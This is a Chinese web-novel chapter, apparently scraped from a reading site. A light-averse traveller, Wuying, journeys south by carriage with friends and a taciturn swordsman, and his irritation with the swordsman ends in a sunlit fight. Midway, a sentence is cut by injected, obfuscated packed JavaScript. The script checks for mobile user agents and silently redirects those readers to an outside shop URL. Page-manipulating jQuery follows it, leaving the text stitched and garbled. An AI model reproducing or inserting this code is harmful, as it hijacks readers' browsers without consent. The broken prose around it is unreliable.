「江明远!」无影把他的名字整整齐齐地唤了出来。在永夜直唤一个人的全名是顶郑重的事,可这会儿他只想拿它当个声色俱厉的呵斥。
无影抄着挑棍就要起身,给这没大没小的家伙结结实实来上一记。身子才起到一半,天又晃了一下,那适应期的余威冷不丁又冒了头,他眼前一阵发虚,那要去教训人的气势半道就软了下去,只得咚地一声又坐回了原处。
这个明远。无影心里没好气地腹诽,专挑他适应期,使不上劲的当口来逗他,趁人之危。
明远和叶白术本还笑着,可一见他这一起一坐,晕乎乎的模样,那点逗他的心思齐齐收了。明远忙不迭凑过来扶他:「哎哎,别急着动,我不笑了我不笑了。」叶白术也敛了笑,重新拿那大夫的眼打量起他的气色。
闹也闹够了,明远扶他坐稳,清了清嗓子,把话头引到了正事上。
「无影,」他说,「我那桩事还没了呢。」他顿了顿,「我得往南边去一趟。有座城唤作江南,比咱们这小镇可热闹太多了,人多,市面大,跑江湖的,武林里的人物更是扎堆。」
明远眼睛一亮看向他:「我寻思着你反正也无处可去,要不跟我一道南下?路上也好有个照应。」
南下,江南。一座比这里热闹百倍,武林人扎堆的大城。
无影心里那点被勾起的兴致悄悄冒了出来,听着倒有趣。比起守在这小镇上养病,去那么个新鲜热闹的地界走走,瞧一瞧这世道更大的模样,于他这等有的是时间,又初来乍到的人,何乐不为。
无影点了点头。跟着明远走,这一桩他早在心里应下过了。叶白术也说要同他们一道南下,队伍就这么定了三个人。
这一程去得远,明远索性在马车行包下了一辆马车,还特地嘱咐车行把那车厢里里外外封了个严严实实,不透一丝光。如此一来,白日里便由明远,叶白术赶车,无影尽可缩在那不见光的车厢里安睡,到了夜里精神足了便能接手。
听到夜里你来接手这一句,无影又没忍住,抄起挑棍往明远身上招呼了好几下。当他是马夫呢,再说他压根就不会赶车。
正闹着,一道身影朝他们这边走了过来。
是个男人,一身利落的黑色短打,腰背挺直,手里横着一柄长刀。
无影那一缕感知先一步落在了他身上。这人不一样,他周身缠着一股化不开的杀气,是真在刀口上舔过血的;那一身武功也扎实得很,绝非先前那些个喽啰可比,是个真正的练家子。
那男人走到近前,开门见山,话不多。他也要往江南去,问他们这辆车能否捎他一程。作为回报,他顿了顿,扫了他们一行一眼,「我可以护公子周全。」
护他?
无影心里掠过一丝古怪的好笑。他抬起一根手指,慢慢地指了指自己,护我?
那男人会错了意,只当他是问当真,郑重地点了点头:「正是,一路上可保公子安然无虞。」他显然也把无影看作了那等手无缚鸡之力,需人护着的金贵公子,半点没瞧出这一行人里最不需要他护的恰恰就是无影。
一旁的明远转过头去,肩膀一抽一抽。他可太清楚无影的斤两了,这位浑身杀气的刀客要护这位一伞洞穿凶物,一根筷子镇满堂的夜前辈,这画面简直好笑得他憋不住。
憋了半天明远才板起脸,假模假式地转向他:「公子,是否答应?」那公子二字他咬得格外重,分明是在打趣他。
叶白术倒想得实在,略一思量便道:「捎上吧。横竖路远,我同江兄弟赶白天,你们两个赶夜里,队伍里多个人手也好有个照应。」她一句话把这位刀客也顺顺当当划进了夜里那一拨。
无影狠狠瞪了明远一眼,记着他方才那声拖长的公子呢,然后一掀帘子钻进了马车里,眼不见为净,算是默许了。
车外,明远招呼着那刀客也上车来。那男人却迟疑了一下没急着进,反倒先朝车里望了一眼,低声问明远:「公子……当真不在意?」他到底是个守规矩的,与一位金贵公子同乘一车,还怕唐突了人家。
「没事没事,上来吧!」明远摆摆手。那男人这才微微躬身,提刀上了车。
车厢里,无影端端正正坐在当中,怀里抱着那把伞,无所事事。那刀客上来后却专拣了离他最远的那个角落缩着坐下,腰背绷得笔直,刀横在膝上,半点不敢往他这边凑。
无影心里有些纳闷,这浑身杀气的汉子怎么倒像有点怕他。他哪里想得到,那双在刀口上练老了的直觉隐隐觉出他这位文弱公子身上有股说不清的,不该有的东西,对这样的人敬而远之,原是练家子的本能。
罢了,懒得管他。
马车辘辘地动了起来,一晃一晃。
这白日本就是无影犯困的时辰,车厢里又暗又稳,他抱着伞没撑多久眼皮便沉沉地合上,端坐的身子也不由自主往一旁歪了过去,眼看脑袋就要磕上那硬邦邦的车壁。
就在这前一刻,那角落里的男人动了。
一双骨节分明,满是厚茧的手极轻,极稳地探了过来,托住他将倾的身子。那男人放慢了动作,怕惊着他似的,一点一点将他扶着躺平在车板上,又伸手扯过一旁的被子,仔仔细细替他盖好。做完这一切,便又默默缩回那个角落,仿佛什么都没发生过。
一个浑身杀气,连凑近都不敢的陌生刀客,却在他睡着的当口悄没声地把他照看得妥妥帖帖。当然,睡死过去的无影对这一切一无所知。
马车载着熟睡的他,载着这一车各怀心思的人,辘辘地往南去了。白日一寸一寸淌过,那暗封的车厢替他挡尽了外头的天光。待这一觉睡到日落,夜色漫上来,便又该是无影这夜行人接手的时辰了。
夜到了,无影悠悠醒转。
叶白术早候着了,递过来一只碗。碗里黑乎乎的是副熬好的药,凑近一闻那苦气直冲鼻子,好在还温着。
无影向来不耐烦这些,仗着一股蛮劲端起碗便要一饮而尽,却没能尽。那药苦得不讲道理,刚灌下小半口眉头就拧成了一团,剩下大半说什么也咽不下去了。
叶白术看他这副被苦得龇牙的模样,眼底又漾起那点看小孩的笑意:「拿勺子,一勺一勺地喝吧。」她递来一把小勺。他这才认命似的,舀着那药一小口一小口慢吞吞地喝完了。
喝完,她又递过来一颗蜜枣。他含进嘴里,那股甜总算把满口的苦压了下去。她照看他,当真是连这一口苦后的甜都替他备齐了。
那黑衣男人自始至终缩在一旁,看着叶白术喂他喝药,给他塞蜜枣,一双眼睛沉沉的,一句话也没说。
待他这药喝完,明远打了个哈欠站起身:「成了,我跟叶大夫先去车厢里眯一觉,这后半夜的路就交给你们俩了。」
那男人默不作声,伸手接过了赶车的麻绳。无影却还有些懵懵的,没全回过神。
明远临钻进车厢前,往他手里塞了个油纸袋:「这是你跟这位兄台的晚膳。」他压低声音朝那男人努了努嘴,挤眉弄眼地,「出去,跟人家聊聊呗。」
无影拎着那油纸袋,心里头其实是一百个不乐意。他不太喜欢这个男人,那男人身上那股气味在他闻来是一种罪孽深重的味道,那么浓的杀气沾着不知多少条人命,腥得发沉。便是他那心网里那个臭名远扬,专宰新手的新手屠夫,杀气都未必有他这般重。这样一个人,他打心底里亲近不起来。
可眼下明远和叶白术要歇了,无影总不能赖在车厢里占着地方。罢了,他拎着晚膳掀帘出了车厢,在那男人身旁的车辕上挨着坐了下来。
无影没应明远那茬,只沉默着低头解开了那油纸袋,里头是几样小点心并几个干硬的大饼。
无影捏起那几块点心,转过身朝那男人递了过去。不为别的,明远说了这是他们俩的晚膳,一人一半是个礼数。
那男人偏过头看了他一眼,那一眼很短,沉沉的,里头藏着些他读不懂的东西。然后他便又把视线移回了前方那条黑沉沉的夜路上,手里攥着缰绳纹丝不动。
没接。
无影那只递着点心的手就这么僵在了半空里。一时间他竟有些下不来台,永夜的语文本就没教过他这个。他不过是依着明远的话递个东西,怎么这人看都看了他一眼却理也不理,是嫌弃这点心,还是嫌弃他这个人?他脸上那点惯常的清冷险些挂不住,那只手进也不是退也不是。
那男人不接,那便算了,无影也不强求。
无影自顾自地拈起一块点心咬了两口。这世道的吃食到底不合他的口,不是死甜便是干噎,他就着竹筒里的水将就着吃了两块便觉着差不多了。剩下的也没了兴致,随手把那半块没吃完的点心搁回袋里,连着那几个大饼一并把油纸袋撂在了一旁,重新抱住他那把伞靠着车壁,有些无所事事。
赶车的活那男人一声不吭全揽了去,缰绳,鞭子,看路,桩桩件件稳当得很,倒显得他这位公子坐在这儿像个多余的摆设。
无影正这么神游着,眼角的余光却瞥见那男人动了。
那男人腾出一只手伸过来,把他方才撂下的那个油纸袋拿了起来,然后就着那一手的缰绳低着头,不声不响把袋里剩下的大饼,点心一样一样全吃了下去,吃得又快又干净。连他那块咬过两口,吃剩了一半的点心,他都捻起来眼也不眨地塞进了嘴里。
无影整个人都僵了一下。
这个人,方才分明是不肯接无影递的点心的呀,怎么这会儿无影前脚撂下,他后脚就捡起来吃得一点不剩,连无影吃剩的都……无影那点永夜人刻在骨子里的洁癖被他这一手膈应得不轻。可偏偏他吃得那样自然,那样理所应当,仿佛这世上就没有吃剩这一说。
「你……你全吃了啊?」无影瞪大了眼,不可置信地看着他。
那男人偏过头看了他一眼,点了点头,算是认了。
无影只当他要么不以为意,要么干脆懒得理他。谁知他顿了顿,那把闷哑的嗓子竟低低地又补了一句:「是我吃得太多了?……是我太急了,没想到公子那块还没用完。」
那男人说这话时眼睛没敢看他,微微垂着头,那语气里竟带着几分小心翼翼的歉意,仿佛方才吃掉他那半块剩点心的不是个一身杀气的刀客,而是个做错了事,等着挨训的人。
无影愣住了。
这个人怎么像一块豆腐?
无影本以为他那一身重得发腥的杀气定是个浑身是刺,极难相与的主儿,谁知他这一开口一头撞将过去,撞着的却是一团软乎乎的棉花,半点火气也没有,反倒先自个儿认起错来了。这到底是怎么一回事。
无影抱着伞半晌没说出话来,满肚子的别扭与膈应撞上他这副低眉顺眼的模样,竟一下子全没了着落。
也不知是从哪儿钻出来的一股火气,被他这软绵绵的一认错反倒堵住了,无影想发又寻不着由头,硬生生憋在胸口上不去下不来。
憋着憋着,无影忽地没来由地咳嗽了几声。那男人一见他咳,下意识就抬起手想要扶他,可那手才伸到半路又像是想起了什么,硬生生顿住悬在那儿,进退两难,一副想扶又不敢扶的窝囊模样。
无影看着他那只半悬的手,心里那点说不清的烦躁竟越看越旺。
罢了。无影不耐烦再与他干坐着,一翻身便下了马车,撂下他自顾自地在车旁慢慢地走。
那男人愣了一下,看看他这慢吞吞的步子,又回头往车厢里瞥了一眼。明远和叶白术早睡熟了,叫不醒也问不得。他似是拿不定主意,迟疑了片刻,竟把马一勒停了下来,就这么默默地等着他。
这一停,无影那股火烧得更旺了。他也说不上来自己究竟在气些什么,气他吃了他的点心,气他那副认错的怂样,还是气他这会儿又这般小心翼翼地等着他。
够了。无影脚下一晃,眼前的夜色一花,一个瞬影人已落在了那马车的顶上,夜里暗能足这一下轻省得很。
无影索性盘膝坐下,仰起脸,头顶一轮月清清冷冷地挂着。罢了罢了,理他作甚,他还不如就这么看看月亮。
车下那男人显然是瞧见了他这身法,无影分明听见他那口气几不可闻地一滞,眼里怕是闪过了什么。可到底他什么也没问,什么也没说,只重新扬起鞭子,由着他在车顶坐着默默地赶他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775917|210014||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的路。
夜风掠过车顶。那轮月,和永夜的是同一轮么?他也说不清。
接下来的几日便都是这般。
白日里无影蜷在车厢闭着不见天光,那男人夜里当值与他换班,这般错开来竟连碰面都少。偶尔同处一车也是各坐一头,谁也不睬谁,连句话都欠奉。
无影也说不清是为什么,可他心里头是真真切切地讨厌这个人,那股说不清,道不明的别扭像根刺扎着他。
直到那一日。
白日正是无影睡得最沉的时辰,车外忽地一阵嘈杂,马匹的嘶鸣,他被生生吵醒。
朦朦胧胧间无影瞥见那原本闭目养神,靠在车壁上的男人,几乎是那嘈杂声起的同一刻那男人眼皮一掀人已惊醒,没半分睡意没半分迟疑,抄起身边那柄长刀掀帘便出了车厢,快得像换了一个人。
紧接着是明远在外头扬声喊的那一句:「住手,别见血!」
然后便是一片强盗的哭喊声,凄厉,慌乱,求饶,一声盖过一声。
外头到底出了什么事?无影强撑着困意撑起半个身子,犹豫了一瞬到底是没忍住,伸手将那车帘掀开了一道窄窄的缝。刺目的天光立时从那缝里挤了进来,扎得他眼睛生疼,他眯起眼就着那一线缝隙往外望去。
白晃晃的日头底下,一伙拦路的强盗横七竖八全趴在了地上。刀,棍撒了一地,有人捂着手腕有人抱着腿杀猪也似的嚎,却唯独不见一滴血。
而那男人就那样持刀立在当中。晨光照着他那张惯常木讷的脸,此刻却冷硬如铁,腰背挺直刀锋斜垂,整个人像一柄终于出了鞘的刀。方才那个吃他剩点心,低眉认错的窝囊汉子,半点影子也无了。
这才是他。那一身重得发腥的杀气,原来半分不假。
可偏偏这一地哀嚎的强盗竟当真一个也没死,那男人听了明远那声别见血,便真就一滴血也没让见。
无影眯着被晃得发花的眼盯着那道窄缝外的男人,一时间竟有些怔住了。
又来了,就是那股杀气。
方才在日头底下它压得满地强盗哭爹喊娘,这会儿那人收了刀往车厢这头走,它便又跟了过来,浓得化不开。到底为什么那么浓?
无影鬓边那枚银吊坠早不知从几时起便不再透出那一丝惯有的凉意了,压不住,什么都压不住了。胸口那团说不清的火被这股杀气一撩,腾地就窜了起来。
那男人收刀回来伸手要掀帘子,无影也不知自己中了什么邪,竟反手抵住了那帘子死死地不让他掀。
无影就是不想让他进来。
帘子那头一滞。车厢里明远和叶白术也察觉出不对了,他们对望了一眼,眼里都是讶异。无影这人几曾这样过,便是再不待见谁他也是端着的,收着的,面上半分不露,似他这般活脱脱一个闹脾气的孩子赌着气死抵着帘子不撒手,他们从未见过。
「你先松松手?」明远隔着帘子好声好气地劝他,「有话好好说,啊?」
无影一句话也不说,那团火烧得他脑子发昏,浑身的血都跟着躁动起来,他只死死抵着谁的话也听不进去。
帘子外头那男人静了良久,终于那把闷哑的嗓子又响了起来:「……没事,这几日多谢了。」他顿了顿,「我这就离去。」
无影听得清清楚楚。
又是,又是这副低眉顺眼,动辄就退的软模样。
不知是哪一根弦啪地断了,无影猛地一把扯开帘子,顶着外头那毫无遮挡的天光死死盯住他,一字一句狠狠地问:「我让你走了吗?」
话音未落,白晃晃的日头毫无遮拦地泼了他一身,他那探出帘外的手背连着半边脸几乎是眨眼的工夫便腾起一片刺目的红,又痒又烫,灼得人发疼。
「无影!」明远和叶白术齐齐变了脸色,一个伸手来拽他,一个慌忙扯过那把伞,连人带光地将他死死挡回了帘内的阴影里。
可无影恍若不觉。他也不知道自己究竟是怎么了,胸口那团火烧得人发狂,他盯着帘缝外那个男人,浑身的血都在叫嚣,他只有一个念头清晰得吓人,他想跟这个人狠狠地打一架。
无影一把撑开那花伞,借着这一线遮蔽足尖一点,闪身便下了马车。
浑身的刺痛无影不管了。日头底下他左手撑伞,右手不知何时已攥起了那根平日戳明远玩的小挑棍,二话不说朝那男人当头攻了过去。
那男人显是没料到,他下意识地横刀一挡,可那刀却只挡不还。他一双眼睛根本没在无影那点可笑的攻势上,而是落在他那片正一点点泛起红疹的皮肤,落在他那只死死撑着伞的手,又落在他另一只握着根细棍,跟闹着玩似的手上,他眉头紧紧地皱了起来。
「公子,别逞强。」
无影咬住唇一个字也没回他,只把那攻势又催猛了几分。
十几招过去,那男人当真是只守不攻,任他那小棍在他刀光里左支右绌竟连衣角都不曾教他沾着。可无影呢,那毒辣的日头一寸寸抽着他的力气,没几下他那点攻势便肉眼可见地软了,慢了下来。
无影喘着气,棍尖一顿停了手:「你这身杀气,到底从何而来?」
那男人没有应声,还是那副样子,闭着嘴沉默如铁,什么也不肯告诉他。
偏是这沉默又把他那团火腾地勾了起来。无影也不管自己早已两眼发花,四肢发虚,牙一咬又攻了上去。
这一回那男人没再让。只听铮的一声轻响,他手腕一翻一刀便把他那根小棍稳稳拨开,那力道顺着棍子卸到他身上,无影脚下本就发虚登时踉跄着连退了两步。
就是这一瞬,那男人眼神一凝,虽眉宇间还掠过一丝极快的犹豫,可他到底是快步抢上前来。无影只觉眼前那张脸一近,手刀劈落,后颈一麻,天旋地转,眼前的白光,那把伞,那个皱着眉的男人,齐齐沉进了一片黑里。
无影软软倒下去的当口,一双带茧的手稳稳接住了他,那男人侧身先替他避开了那刺目的日头,又手忙脚乱地去寻他那把滚落在地的伞。车上明远和叶白术早惊呼着扑了下来。
而昏死过去的无影,自然又是什么都不知道了。